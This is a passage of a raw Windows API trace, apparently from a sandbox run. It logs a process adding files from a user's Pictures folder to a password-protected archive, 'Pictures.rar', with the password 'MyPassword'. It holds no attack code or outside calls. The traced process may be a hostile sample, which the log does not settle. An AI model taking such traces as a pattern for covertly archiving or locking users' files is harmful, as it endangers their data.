nNumberOfBytesToRead=0xf571c, lpNumberOfBytesRead=0xf00f8dd6a0, lpOverlapped=0x0 | out: lpBuffer=0x28b0b716924*, lpNumberOfBytesRead=0xf00f8dd6a0*=0x0, lpOverlapped=0x0) returned 1 [0066.332] PeekMessageW (in: lpMsg=0xf00f8dd5b0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xf00f8dd5b0) returned 0 [0066.332] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0066.332] RtlAllocateHeap (HeapHandle=0x28b08430000, Flags=0x0, Size=0x20) returned 0x28b0a22fab0 [0066.332] RtlAllocateHeap (HeapHandle=0x28b08430000, Flags=0x0, Size=0x20) returned 0x28b0a22fdb0 [0066.332] RtlReAllocateHeap (Heap=0x28b08430000, Flags=0x0, Ptr=0x28b0a22fdb0, Size=0x48) returned 0x28b084f9bb0 [0066.332] RtlAllocateHeap (HeapHandle=0x28b08430000, Flags=0x0, Size=0x30) returned 0x28b084d6f10 [0066.332] RtlAllocateHeap (HeapHandle=0x28b08430000, Flags=0x0, Size=0x20) returned 0x28b0a22fb70 [0066.332] RtlReAllocateHeap (Heap=0x28b08430000, Flags=0x0, Ptr=0x28b0a22fb70, Size=0x48) returned 0x28b084f8ee0 [0066.332] HeapFree (in: hHeap=0x28b08430000, dwFlags=0x0, lpMem=0x28b084d6f10 | out: hHeap=0x28b08430000) returned 1 [0066.332] HeapFree (in: hHeap=0x28b08430000, dwFlags=0x0, lpMem=0x28b084f9bb0 | out: hHeap=0x28b08430000) returned 1 [0066.332] RtlAllocateHeap (HeapHandle=0x28b08430000, Flags=0x0, Size=0x20) returned 0x28b0a22fdb0 [0066.332] RtlAllocateHeap (HeapHandle=0x28b08430000, Flags=0x0, Size=0x20) returned 0x28b0a22fb70 [0066.332] HeapFree (in: hHeap=0x28b08430000, dwFlags=0x0, lpMem=0x28b0a22fb70 | out: hHeap=0x28b08430000) returned 1 [0066.332] HeapFree (in: hHeap=0x28b08430000, dwFlags=0x0, lpMem=0x28b0a22fdb0 | out: hHeap=0x28b08430000) returned 1 [0066.332] RtlReAllocateHeap (Heap=0x28b08430000, Flags=0x0, Ptr=0x28b0a22fab0, Size=0x48) returned 0x28b084f9700 [0066.332] RtlReAllocateHeap (Heap=0x28b08430000, Flags=0x0, Ptr=0x28b084f9700, Size=0x7a) returned 0x28b084ece60 [0066.332] HeapFree (in: hHeap=0x28b08430000, dwFlags=0x0, lpMem=0x28b084f8ee0 | out: hHeap=0x28b08430000) returned 1 [0066.333] HeapFree (in: hHeap=0x28b08430000, dwFlags=0x0, lpMem=0x28b084ece60 | out: hHeap=0x28b08430000) returned 1 [0066.333] GetTickCount () returned 0x267b9 [0066.333] QueryPerformanceCounter (in: lpPerformanceCount=0xf00f8dd4e0 | out: lpPerformanceCount=0xf00f8dd4e0*=15766128159) returned 1 [0066.333] GetTickCount () returned 0x267b9 [0066.333] GetTickCount () returned 0x267b9 [0066.333] GetTickCount () returned 0x267b9 [0066.333] PeekMessageW (in: lpMsg=0xf00f8dd5b0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xf00f8dd5b0) returned 0 [0066.333] PeekMessageW (in: lpMsg=0xf00f8dd5b0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xf00f8dd5b0) returned 0 [0066.333] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0066.333] ResetEvent (hEvent=0x344) returned 1 [0066.333] ReleaseSemaphore (in: hSemaphore=0x340, lReleaseCount=2, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0066.334] WaitForSingleObject (hHandle=0x344, dwMilliseconds=0xffffffff) returned 0x0 [0066.334] ResetEvent (hEvent=0x344) returned 1 [0066.335] ReleaseSemaphore (in: hSemaphore=0x340, lReleaseCount=4, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0066.336] WaitForSingleObject (hHandle=0x344, dwMilliseconds=0xffffffff) returned 0x0 [0066.336] GetTickCount () returned 0x267b9 [0066.336] QueryPerformanceCounter (in: lpPerformanceCount=0xf00f8dd4b0 | out: lpPerformanceCount=0xf00f8dd4b0*=15766465471) returned 1 [0066.336] GetTickCount () returned 0x267b9 [0066.336] GetTickCount () returned 0x267b9 [0066.336] GetTickCount () returned 0x267b9 [0066.336] PeekMessageW (in: lpMsg=0xf00f8dd580, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xf00f8dd580) returned 0 [0066.336] PeekMessageW (in: lpMsg=0xf00f8dd580, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xf00f8dd580) returned 0 [0066.336] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0066.336] ResetEvent (hEvent=0x33c) returned 1 [0066.336] ReleaseSemaphore (in: hSemaphore=0x338, lReleaseCount=3, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0066.337] WaitForSingleObject (hHandle=0x33c, dwMilliseconds=0xffffffff) returned 0x0 [0066.337] ResetEvent (hEvent=0x33c) returned 1 [0066.337] ReleaseSemaphore (in: hSemaphore=0x338, lReleaseCount=3, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0066.337] WaitForSingleObject (hHandle=0x33c, dwMilliseconds=0xffffffff) returned 0x0 [0066.338] PeekMessageW (in: lpMsg=0xf00f8dd300, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xf00f8dd300) returned 0 [0066.338] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0066.338] SetFilePointer (in: hFile=0x32c, lDistanceToMove=0, lpDistanceToMoveHigh=0xf00f8dd390*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0xf00f8dd390*=0) returned 0x1f523e [0066.338] SetFilePointer (in: hFile=0x32c, lDistanceToMove=94, lpDistanceToMoveHigh=0xf00f8dd360*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0xf00f8dd360*=0) returned 0x1f529c [0066.338] CryptUnprotectMemory (in: pDataIn=0xf00f8dd210, cbDataIn=0x100, dwFlags=0x0 | out: pDataIn=0xf00f8dd210) returned 1 [0066.338] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="MyPassword", cchWideChar=-1, lpMultiByteStr=0xf00f8dd190, cbMultiByte=128, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MyPassword", lpUsedDefaultChar=0x0) returned 11 [0066.338] CryptUnprotectMemory (in: pDataIn=0xf00f8dcbf0, cbDataIn=0x100, dwFlags=0x0 | out: pDataIn=0xf00f8dcbf0) returned 1 [0066.338] CryptUnprotectMemory (in: pDataIn=0xf00f8dccf0, cbDataIn=0x100, dwFlags=0x0 | out: pDataIn=0xf00f8dccf0) returned 1 [0066.338] CryptUnprotectMemory (in: pDataIn=0xf00f8dce70, cbDataIn=0x20, dwFlags=0x0 | out: pDataIn=0xf00f8dce70) returned 1 [0066.338] WriteFile (in: hFile=0x32c, lpBuffer=0x28b0a23fe00*, nNumberOfBytesToWrite=0xa950, lpNumberOfBytesWritten=0xf00f8dd390, lpOverlapped=0x0 | out: lpBuffer=0x28b0a23fe00*, lpNumberOfBytesWritten=0xf00f8dd390*=0xa950, lpOverlapped=0x0) returned 1 [0066.340] PeekMessageW (in: lpMsg=0xf00f8dd300, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xf00f8dd300) returned 0 [0066.340] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0066.341] SetFilePointer (in: hFile=0x32c, lDistanceToMove=2052670, lpDistanceToMoveHigh=0xf00f8dd350*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0xf00f8dd350*=0) returned 0x1f523e [0066.341] SetFilePointer (in: hFile=0x32c, lDistanceToMove=0, lpDistanceToMoveHigh=0xf00f8d9a30*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0xf00f8d9a30*=0) returned 0x1f523e [0066.341] RtlAllocateHeap (HeapHandle=0x28b08430000, Flags=0x0, Size=0x20) returned 0x28b0a22fab0 [0066.341] RtlAllocateHeap (HeapHandle=0x28b08430000, Flags=0x0, Size=0x20) returned 0x28b0a22fdb0 [0066.342] RtlReAllocateHeap (Heap=0x28b08430000, Flags=0x0, Ptr=0x28b0a22fdb0, Size=0x48) returned 0x28b084f9980 [0066.342] RtlAllocateHeap (HeapHandle=0x28b08430000, Flags=0x0, Size=0x30) returned 0x28b084d6d10 [0066.342] RtlAllocateHeap (HeapHandle=0x28b08430000, Flags=0x0, Size=0x20) returned 0x28b0a22fb70 [0066.342] RtlReAllocateHeap (Heap=0x28b08430000, Flags=0x0, Ptr=0x28b0a22fb70, Size=0x48) returned 0x28b084f9a20 [0066.342] HeapFree (in: hHeap=0x28b08430000, dwFlags=0x0, lpMem=0x28b084d6d10 | out: hHeap=0x28b08430000) returned 1 [0066.342] HeapFree (in: hHeap=0x28b08430000, dwFlags=0x0, lpMem=0x28b084f9980 | out: hHeap=0x28b08430000) returned 1 [0066.342] RtlAllocateHeap (HeapHandle=0x28b08430000, Flags=0x0, Size=0x20) returned 0x28b0a22fb70 [0066.342] RtlAllocateHeap (HeapHandle=0x28b08430000, Flags=0x0, Size=0x20) returned 0x28b0a22fc30 [0066.342] HeapFree (in: hHeap=0x28b08430000, dwFlags=0x0, lpMem=0x28b0a22fc30 | out: hHeap=0x28b08430000) returned 1 [0066.342] HeapFree (in: hHeap=0x28b08430000, dwFlags=0x0, lpMem=0x28b0a22fb70 | out: hHeap=0x28b08430000) returned 1 [0066.342] RtlReAllocateHeap (Heap=0x28b08430000, Flags=0x0, Ptr=0x28b0a22fab0, Size=0x48) returned 0x28b084f9700 [0066.342] RtlReAllocateHeap (Heap=0x28b08430000, Flags=0x0, Ptr=0x28b084f9700, Size=0x7a) returned 0x28b084ece60 [0066.342] WriteFile (in: hFile=0x32c, lpBuffer=0x28b084ece63*, nNumberOfBytesToWrite=0x5e, lpNumberOfBytesWritten=0xf00f8d8070, lpOverlapped=0x0 | out: lpBuffer=0x28b084ece63*, lpNumberOfBytesWritten=0xf00f8d8070*=0x5e, lpOverlapped=0x0) returned 1 [0066.342] RtlAllocateHeap (HeapHandle=0x28b08430000, Flags=0x0, Size=0x20) returned 0x28b0a22fdb0 [0066.342] RtlAllocateHeap (HeapHandle=0x28b08430000, Flags=0x0, Size=0x5e) returned 0x28b0c100010 [0066.342] HeapFree (in: hHeap=0x28b08430000, dwFlags=0x0, lpMem=0x28b084f9a20 | out: hHeap=0x28b08430000) returned 1 [0066.342] HeapFree (in: hHeap=0x28b08430000, dwFlags=0x0, lpMem=0x28b084ece60 | out: hHeap=0x28b08430000) returned 1 [0066.342] SetFilePointer (in: hFile=0x32c, lDistanceToMove=0, lpDistanceToMoveHigh=0xf00f8dd350*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0xf00f8dd350*=0) returned 0x1ffbec [0066.342] CloseHandle (hObject=0x350) returned 1 [0066.342] PeekMessageW (in: lpMsg=0xf00f8dd5b0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xf00f8dd5b0) returned 0 [0066.342] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0066.342] PeekMessageW (in: lpMsg=0xf00f8dd650, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xf00f8dd650) returned 0 [0066.342] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0066.342] FindFirstFileW (in: lpFileName="zoYWy0tnNuqg-Zdh4.gif", lpFindFileData=0xf00f8dc410 | out: lpFindFileData=0xf00f8dc410) returned 0x28b0c0ee070 [0066.342] FindClose (in: hFindFile=0x28b0c0ee070 | out: hFindFile=0x28b0c0ee070) returned 1 [0066.343] CreateFileW (lpFileName="zoYWy0tnNuqg-Zdh4.gif" (normalized: "c:\\users\\fd1hvy\\pictures\\zoywy0tnnuqg-zdh4.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8000000, hTemplateFile=0x0) returned 0x350 [0066.343] LoadStringW (in: hInstance=0x7ff6f74d0000, uID=0x21c, lpBuffer=0x7ff6f7650a30, cchBufferMax=512 | out: lpBuffer="adding") returned 0x6 [0066.343] GetTickCount () returned 0x267c8 [0066.343] GetWindowTextW (in: hWnd=0x102be, lpString=0xf00f8dd270, nMaxCount=512 | out: lpString="Creating archive Pictures.rar") returned 29 [0066.343] GetDlgItem (hDlg=0x102be, nIDDlgItem=156) returned 0x102c4 [0066.343] GetWindowTextW (in: hWnd=0x102c4, lpString=0xf00f8dbe20, nMaxCount=2560 | out: lpString="adding") returned 6 [0066.343] GetDlgItem (hDlg=0x102be, nIDDlgItem=155) returned 0x102c6 [0066.343] GetWindowTextW (in: hWnd=0x102c6, lpString=0xf00f8dbe20, nMaxCount=2560 | out: lpString="zdKqdR.png") returned 10 [0066.343] SetWindowTextW (hWnd=0x102c6, lpString="zoYWy0tnNuqg-Zdh4.gif") returned 1 [0066.344] GetTickCount () returned 0x267c8 [0066.344] PeekMessageW (in: lpMsg=0xf00f8dd650, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xf00f8dd650) returned 0 [0066.344] CryptAcquireContextW (in: phProv=0xf00f8dd600, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000040 | out: phProv=0xf00f8dd600*=0x28b084f5440) returned 1 [0066.344] CryptGenRandom (in: hProv=0x28b084f5440, dwLen=0x10, pbBuffer=0xf00f8dd680 | out: pbBuffer=0xf00f8dd680) returned 1 [0066.344] CryptReleaseContext (hProv=0x28b084f5440, dwFlags=0x0) returned 1 [0066.344] GetSystemTime (in: lpSystemTime=0xf00f8dd598 | out: lpSystemTime=0xf00f8dd598*(wYear=0x7e3, wMonth=0x3, wDayOfWeek=0x0, wDay=0x1f, wHour=0x15, wMinute=0xd, wSecond=0x2b, wMilliseconds=0x343)) [0066.344] SystemTimeToFileTime (in: lpSystemTime=0xf00f8dd598, lpFileTime=0xf00f8dd590 | out: lpFileTime=0xf00f8dd590) returned 1 [0066.344] QueryPerformanceCounter (in: lpPerformanceCount=0xf00f8dd5c0 | out: lpPerformanceCount=0xf00f8dd5c0*=15767264336) returned 1 [0066.344] ReadFile (in: hFile=0x350, lpBuffer=0x28b0b70c040, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0xf00f8dd6a0, lpOverlapped=0x0 | out: lpBuffer=0x28b0b70c040*, lpNumberOfBytesRead=0xf00f8dd6a0*=0x1675e, lpOverlapped=0x0) returned 1 [0066.344] ReadFile (in: hFile=0x350, lpBuffer=0x28b0b72279e, nNumberOfBytesToRead=0xe98a2, lpNumberOfBytesRead=0xf00f8dd6a0, lpOverlapped=0x0 | out: lpBuffer=0x28b0b72279e*, lpNumberOfBytesRead=0xf00f8dd6a0*=0x0, lpOverlapped=0x0) returned 1 [0066.344] PeekMessageW (in: lpMsg=0xf00f8dd5b0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xf00f8dd5b0) returned 0 [0066.344] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0066.344] RtlAllocateHeap (HeapHandle=0x28b08430000, Flags=0x0, Size=0x20) returned 0x28b0a22f690 [0066.344] RtlAllocateHeap (HeapHandle=0x28b08430000, Flags=0x0, Size=0x20) returned 0x28b0a22fab0 [0066.345] RtlReAllocateHeap (Heap=0x28b08430000, Flags=0x0, Ptr=0x28b0a22fab0, Size=0x48) returned 0x28b084f9bb0 [0066.345] RtlAllocateHeap (HeapHandle=0x28b08430000, Flags=0x0, Size=0x30) returned 0x28b084d6d10 [0066.345] RtlAllocateHeap (HeapHandle=0x28b08430000, Flags=0x0, Size=0x20) returned 0x28b0a22fab0 [0066.345] RtlReAllocateHeap (Heap=0x28b08430000, Flags=0x0, Ptr=0x28b0a22fab0, Size=0x48) returned 0x28b084f9480 [0066.345] HeapFree (in: hHeap=0x28b08430000, dwFlags=0x0, lpMem=0x28b084d6d10 | out: hHeap=0x28b08430000) returned 1 [0066.345] HeapFree (in: hHeap=0x28b08430000, dwFlags=0x0, lpMem=0x28b084f9bb0 | out: hHeap=0x28b08430000) returned 1 [0066.345] RtlAllocateHeap (HeapHandle=0x28b08430000, Flags=0x0, Size=0x20) returned 0x28b0a22fab0 [0066.345] RtlAllocateHeap (HeapHandle=0x28b08430000, Flags=0x0, Size=0x20) returned 0x28b0a22fb70 [0066.345] HeapFree (in: hHeap=0x28b08430000, dwFlags=0x0, lpMem=0x28b0a22fb70 | out: hHeap=0x28b08430000) returned 1 [0066.345] HeapFree (in: hHeap=0x28b08430000, dwFlags=0x0, lpMem=0x28b0a22fab0 | out: hHeap=0x28b08430000) returned 1 [0066.345] RtlReAllocateHeap (Heap=0x28b08430000, Flags=0x0, Ptr=0x28b0a22f690, Size=0x48) returned 0x28b084f9de0 [0066.345] RtlReAllocateHeap (Heap=0x28b08430000, Flags=0x0, Ptr=0x28b084f9de0, Size=0x7a) returned 0x28b084ed6d0 [0066.345] HeapFree (in: hHeap=0x28b08430000, dwFlags=0x0, lpMem=0x28b084f9480 | out: hHeap=0x28b08430000) returned 1 [0066.345] HeapFree (in: hHeap=0x28b08430000, dwFlags=0x0, lpMem=0x28b084ed6d0 | out: hHeap=0x28b08430000) returned 1 [0066.345] GetTickCount () returned 0x267c8 [0066.345] QueryPerformanceCounter (in: lpPerformanceCount=0xf00f8dd4e0 | out: lpPerformanceCount=0xf00f8dd4e0*=15767369020) returned 1 [0066.345] GetTickCount () returned 0x267c8 [0066.345] GetTickCount () returned 0x267c8 [0066.345] GetTickCount () returned 0x267c8 [0066.345] PeekMessageW (in: lpMsg=0xf00f8dd5b0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xf00f8dd5b0) returned 0 [0066.345] PeekMessageW (in: lpMsg=0xf00f8dd5b0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xf00f8dd5b0) returned 0 [0066.345] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0066.345] ResetEvent (hEvent=0x344) returned 1 [0066.345] ReleaseSemaphore (in: hSemaphore=0x340, lReleaseCount=2, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0066.347] WaitForSingleObject (hHandle=0x344, dwMilliseconds=0xffffffff) returned 0x0 [0066.347] ResetEvent (hEvent=0x344) returned 1 [0066.347] ReleaseSemaphore (in: hSemaphore=0x340, lReleaseCount=2, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0066.348] WaitForSingleObject (hHandle=0x344, dwMilliseconds=0xffffffff) returned 0x0 [0066.348] ResetEvent (hEvent=0x344) returned 1 [0066.348] ReleaseSemaphore (in: hSemaphore=0x340, lReleaseCount=4, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0066.351] WaitForSingleObject (hHandle=0x344, dwMilliseconds=0xffffffff) returned 0x0 [0066.351] GetTickCount () returned 0x267c8 [0066.351] QueryPerformanceCounter (in: lpPerformanceCount=0xf00f8dd4b0 | out: lpPerformanceCount=0xf00f8dd4b0*=15767976645) returned 1 [0066.351] GetTickCount () returned 0x267c8 [0066.351] GetTickCount () returned 0x267c8 [0066.351] GetTickCount () returned 0x267c8 [0066.351] PeekMessageW (in: lpMsg=0xf00f8dd580, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xf00f8dd580) returned 0 [0066.351] PeekMessageW (in: lpMsg=0xf00f8dd580, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xf00f8dd580) returned 0 [0066.351] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0066.351] ResetEvent (hEvent=0x33c) returned 1 [0066.351] ReleaseSemaphore (in: hSemaphore=0x338, lReleaseCount=3, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0066.352] WaitForSingleObject (hHandle=0x33c, dwMilliseconds=0xffffffff) returned 0x0 [0066.352] ResetEvent (hEvent=0x33c) returned 1 [0066.352] ReleaseSemaphore (in: hSemaphore=0x338, lReleaseCount=3, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0066.353] WaitForSingleObject (hHandle=0x33c, dwMilliseconds=0xffffffff) returned 0x0 [0066.353] PeekMessageW (in: lpMsg=0xf00f8dd300, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xf00f8dd300) returned 0 [0066.353] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0066.353] SetFilePointer (in: hFile=0x32c, lDistanceToMove=0, lpDistanceToMoveHigh=0xf00f8dd390*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0xf00f8dd390*=0) returned 0x1ffbec [0066.353] SetFilePointer (in: hFile=0x32c, lDistanceToMove=105, lpDistanceToMoveHigh=0xf00f8dd360*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0xf00f8dd360*=0) returned 0x1ffc55 [0066.353] CryptUnprotectMemory (in: pDataIn=0xf00f8dd210, cbDataIn=0x100, dwFlags=0x0 | out: pDataIn=0xf00f8dd210) returned 1 [0066.353] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="MyPassword", cchWideChar=-1, lpMultiByteStr=0xf00f8dd190, cbMultiByte=128, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MyPassword", lpUsedDefaultChar=0x0) returned 11 [0066.353] CryptUnprotectMemory (in: pDataIn=0xf00f8dcbf0, cbDataIn=0x100, dwFlags=0x0 | out: pDataIn=0xf00f8dcbf0) returned 1 [0066.353] CryptUnprotectMemory (in: pDataIn=0xf00f8dccf0, cbDataIn=0x100, dwFlags=0x0 | out: pDataIn=0xf00f8dccf0) returned 1 [0066.353] CryptUnprotectMemory (in: pDataIn=0xf00f8dce70, cbDataIn=0x20, dwFlags=0x0 | out: pDataIn=0xf00f8dce70) returned 1 [0066.353] WriteFile (in: hFile=0x32c, lpBuffer=0x28b0a23fe00*, nNumberOfBytesToWrite=0x16820, lpNumberOfBytesWritten=0xf00f8dd390, lpOverlapped=0x0 | out: lpBuffer=0x28b0a23fe00*, lpNumberOfBytesWritten=0xf00f8dd390*=0x16820, lpOverlapped=0x0) returned 1 [0066.358] PeekMessageW (in: lpMsg=0xf00f8dd300, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xf00f8dd300) returned 0 [0066.358] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0066.358] SetFilePointer (in: hFile=0x32c, lDistanceToMove=2096108, lpDistanceToMoveHigh=0xf00f8dd350*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0xf00f8dd350*=0) returned 0x1ffbec [0066.358] SetFilePointer (in: hFile=0x32c, lDistanceToMove=0, lpDistanceToMoveHigh=0xf00f8d9a30*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0xf00f8d9a30*=0) returned 0x1ffbec [0066.358] RtlAllocateHeap (HeapHandle=0x28b08430000, Flags=0x0, Size=0x20) returned 0x28b0a22fab0 [0066.358] RtlAllocateHeap (HeapHandle=0x28b08430000, Flags=0x0, Size=0x20) returned 0x28b0a22f690 [0066.358] RtlReAllocateHeap (Heap=0x28b08430000, Flags=0x0, Ptr=0x28b0a22f690, Size=0x48) returned 0x28b084f9430 [0066.358] RtlAllocateHeap (HeapHandle=0x28b08430000, Flags=0x0, Size=0x30) returned 0x28b084d6f10 [0066.358] RtlAllocateHeap (HeapHandle=0x28b08430000, Flags=0x0, Size=0x20) returned 0x28b0a22fb70 [0066.358] RtlReAllocateHeap (Heap=0x28b08430000, Flags=0x0, Ptr=0x28b0a22fb70, Size=0x48) returned 0x28b084f9480 [0066.358] HeapFree (in: hHeap=0x28b08430000, dwFlags=0x0, lpMem=0x28b084d6f10 | out: hHeap=0x28b08430000) returned 1 [0066.358] HeapFree (in: hHeap=0x28b08430000, dwFlags=0x0, lpMem=0x28b084f9430 | out: hHeap=0x28b08430000) returned 1 [0066.358] RtlAllocateHeap (HeapHandle=0x28b08430000, Flags=0x0, Size=0x20) returned 0x28b0a22fb70 [0066.359] RtlAllocateHeap (HeapHandle=0x28b08430000, Flags=0x0, Size=0x20) returned 0x28b0a22fc30 [0066.359] HeapFree (in: hHeap=0x28b08430000, dwFlags=0x0, lpMem=0x28b0a22fc30 | out: hHeap=0x28b08430000) returned 1 [0066.359] HeapFree (in: hHeap=0x28b08430000, dwFlags=0x0, lpMem=0x28b0a22fb70 | out: hHeap=0x28b08430000) returned 1 [0066.359] RtlReAllocateHeap (Heap=0x28b08430000, Flags=0x0, Ptr=0x28b0a22fab0, Size=0x48) returned 0x28b084f9430 [0066.359] RtlReAllocateHeap (Heap=0x28b08430000, Flags=0x0, Ptr=0x28b084f9430, Size=0x7a) returned 0x28b084ed370 [0066.359] WriteFile (in: hFile=0x32c, lpBuffer=0x28b084ed373*, nNumberOfBytesToWrite=0x69, lpNumberOfBytesWritten=0xf00f8d8070, lpOverlapped=0x0 | out: lpBuffer=0x28b084ed373*, lpNumberOfBytesWritten=0xf00f8d8070*=0x69, lpOverlapped=0x0) returned 1 [0066.359] RtlAllocateHeap (HeapHandle=0x28b08430000, Flags=0x0, Size=0x20) returned 0x28b0a22fab0 [0066.359] RtlAllocateHeap (HeapHandle=0x28b08430000, Flags=0x0, Size=0x69) returned 0x28b084fc450 [0066.359] HeapFree (in: hHeap=0x28b08430000, dwFlags=0x0, lpMem=0x28b084f9480 | out: hHeap=0x28b08430000) returned 1 [0066.359] HeapFree (in: hHeap=0x28b08430000, dwFlags=0x0, lpMem=0x28b084ed370 | out: hHeap=0x28b08430000) returned 1 [0066.359] SetFilePointer (in: hFile=0x32c, lDistanceToMove=0, lpDistanceToMoveHigh=0xf00f8dd350*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0xf00f8dd350*=0) returned 0x216475 [0066.359] CloseHandle (hObject=0x350) returned 1 [0066.360] PeekMessageW (in: lpMsg=0xf00f8dd5b0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xf00f8dd5b0) returned 0 [0066.360] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0066.360] PeekMessageW (in: lpMsg=0xf00f8dd650, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xf00f8dd650) returned 0 [0066.360] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0066.360] FindFirstFileW (in: lpFileName="Camera Roll", lpFindFileData=0xf00f8dc410 | out: lpFindFileData=0xf00f8dc410) returned 0x28b0c0eeaf0 [0066.360] FindClose (in: hFindFile=0x28b0c0eeaf0 | out: hFindFile=0x28b0c0eeaf0) returned 1 [0066.360] LoadStringW (in: hInstance=0x7ff6f74d0000, uID=0x21c, lpBuffer=0x7ff6f7650e30, cchBufferMax=512 | out: lpBuffer="adding") returned 0x6 [0066.360] GetTickCount () returned 0x267d8 [0066.360] GetWindowTextW (in: hWnd=0x102be, lpString=0xf00f8dd270, nMaxCount=512 | out: lpString="Creating archive Pictures.rar") returned 29 [0066.360] GetDlgItem (hDlg=0x102be, nIDDlgItem=156) returned 0x102c4 [0066.360] GetWindowTextW (in: hWnd=0x102c4, lpString=0xf00f8dbe20, nMaxCount=2560 | out: lpString="adding") returned 6 [0066.360] GetDlgItem (hDlg=0x102be, nIDDlgItem=155) returned 0x102c6 [0066.360] GetWindowTextW (in: hWnd=0x102c6, lpString=0xf00f8dbe20, nMaxCount=2560 | out: lpString="zoYWy0tnNuqg-Zdh4.gif") returned 21 [0066.360] SetWindowTextW (hWnd=0x102c6, lpString="Camera Roll") returned 1 [0066.361] GetTickCount () returned 0x267d8 [0066.361] PeekMessageW (in: lpMsg=0xf00f8dd650, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xf00f8dd650) returned 0 [0066.361] RtlAllocateHeap (HeapHandle=0x28b08430000, Flags=0x0, Size=0x20) returned 0x28b0a22fb70 [0066.361] RtlAllocateHeap (HeapHandle=0x28b08430000, Flags=0x0, Size=0x20) returned 0x28b0a22fc30 [0066.361] RtlAllocateHeap (HeapHandle=0x28b08430000, Flags=0x0, Size=0x20) returned 0x28b0a22f690 [0066.361] RtlAllocateHeap (HeapHandle=0x28b08430000, Flags=0x0, Size=0x20) returned 0x28b084ec890 [0066.361] HeapFree (in: hHeap=0x28b08430000, dwFlags=0x0, lpMem=0x28b0a22f690 | out: hHeap=0x28b08430000) returned 1 [0066.361] HeapFree (in: hHeap=0x28b08430000, dwFlags=0x0, lpMem=0x28b0a22fc30 | out: hHeap=0x28b08430000) returned 1 [0066.361] RtlReAllocateHeap 